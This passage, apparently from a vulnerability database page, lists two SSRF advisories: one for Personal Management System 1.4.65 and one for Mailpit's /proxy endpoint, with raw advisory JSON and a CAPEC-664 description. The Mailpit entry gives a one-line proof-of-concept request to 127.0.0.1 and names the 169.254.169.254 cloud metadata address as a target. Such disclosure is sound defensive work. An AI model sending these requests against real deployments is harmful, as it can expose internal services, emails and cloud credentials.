      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8RRR-W669-26RG

Vulnerability from github – Published: 2025-04-17 21:31 – Updated: 2025-04-21 18:32
VLAI
Details

An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the Upload function.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-29454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-17T21:15:50Z",
    "severity": "MODERATE"
  },
  "details": "An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the Upload function.",
  "id": "GHSA-8rrr-w669-26rg",
  "modified": "2025-04-21T18:32:08Z",
  "published": "2025-04-17T21:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29454"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/morysummer/vx41bz/cyql4n0xiubspntl"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8V65-47JX-7MFR

Vulnerability from github – Published: 2026-01-06 17:44 – Updated: 2026-02-02 14:51
VLAI
Summary
Mailpit Proxy Endpoint has Server-Side Request Forgery (SSRF) vulnerability
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in Mailpit's /proxy endpoint that allows attackers to make requests to internal network resources.

Description

The /proxy endpoint allows requests to internal network resources. While it validates http:// and https:// schemes, it does not block internal IP addresses, allowing attackers to access internal services and APIs.

Proof of Concept

Basic SSRF Request

GET /proxy?url=http://127.0.0.1:8025/api/v1/info

This returns internal API data including database path and runtime statistics.

Impact Assessment

1. Internal Network Scanning

Attacker can probe and discover internal services on the network.

2. Information Disclosure

Access to internal API data, database paths, and runtime statistics.

3. Email Content Access

Ability to read all captured emails via internal API endpoints.

4. Cloud Metadata Access

If deployed in cloud environments (AWS/GCP/Azure), potential access to instance metadata services (e.g., http://169.254.169.254/).

Attack Scenarios

Scenario 1: Development Environment Exposure

If Mailpit is accidentally exposed to the internet, attackers can leverage SSRF to access internal development resources and services.

Scenario 2: Container Escape Information

In containerized deployments, SSRF can reveal container metadata and internal service configurations.

Scenario 3: Lateral Movement

In corporate networks, SSRF can be used to discover and interact with internal services, facilitating lateral movement.

Mitigating Factors

This vulnerability is limited to HTTP GET requests with minimal headers. Additionally, Mailpit's web UI & API should be protected by basic authentication when exposed to the internet, which prevents access to the proxy endpoint.

References

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.28.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/axllent/mailpit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.28.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21859"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-06T17:44:29Z",
    "nvd_published_at": "2026-01-08T00:16:00Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in Mailpit\u0027s `/proxy` endpoint that allows attackers to make requests to internal network resources.\n\n\n## Description\n\nThe `/proxy` endpoint allows requests to internal network resources. While it validates `http://` and `https://` schemes, it does not block internal IP addresses, allowing attackers to access internal services and APIs.\n\n## Proof of Concept\n\n### Basic SSRF Request\n```\nGET /proxy?url=http://127.0.0.1:8025/api/v1/info\n```\n\nThis returns internal API data including database path and runtime statistics.\n \n## Impact Assessment\n\n### 1. Internal Network Scanning\nAttacker can probe and discover internal services on the network.\n\n### 2. Information Disclosure\nAccess to internal API data, database paths, and runtime statistics.\n\n### 3. Email Content Access\nAbility to read all captured emails via internal API endpoints.\n\n### 4. Cloud Metadata Access\nIf deployed in cloud environments (AWS/GCP/Azure), potential access to instance metadata services (e.g., `http://169.254.169.254/`).\n\n## Attack Scenarios\n\n### Scenario 1: Development Environment Exposure\nIf Mailpit is accidentally exposed to the internet, attackers can leverage SSRF to access internal development resources and services.\n\n### Scenario 2: Container Escape Information\nIn containerized deployments, SSRF can reveal container metadata and internal service configurations.\n\n### Scenario 3: Lateral Movement\nIn corporate networks, SSRF can be used to discover and interact with internal services, facilitating lateral movement.\n\n## Mitigating Factors\nThis vulnerability is limited to HTTP GET requests with minimal headers. Additionally, Mailpit\u0027s web UI \u0026 API should be protected by basic authentication when exposed to the internet, which prevents access to the proxy endpoint. \n\n## References\n\n- [MDN Web Security - SSRF Attacks](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/SSRF)\n- [CWE-918: Server-Side Request Forgery](https://cwe.mitre.org/data/definitions/918.html)\n- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)",
  "id": "GHSA-8v65-47jx-7mfr",
  "modified": "2026-02-02T14:51:32Z",
  "published": "2026-01-06T17:44:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-8v65-47jx-7mfr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21859"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/commit/3b9b470c093b3d20b7d751722c1c24f3eed2e19d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axllent/mailpit"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4284"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mailpit Proxy Endpoint has Server-Side Request Forgery (SSRF) vulnerability"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list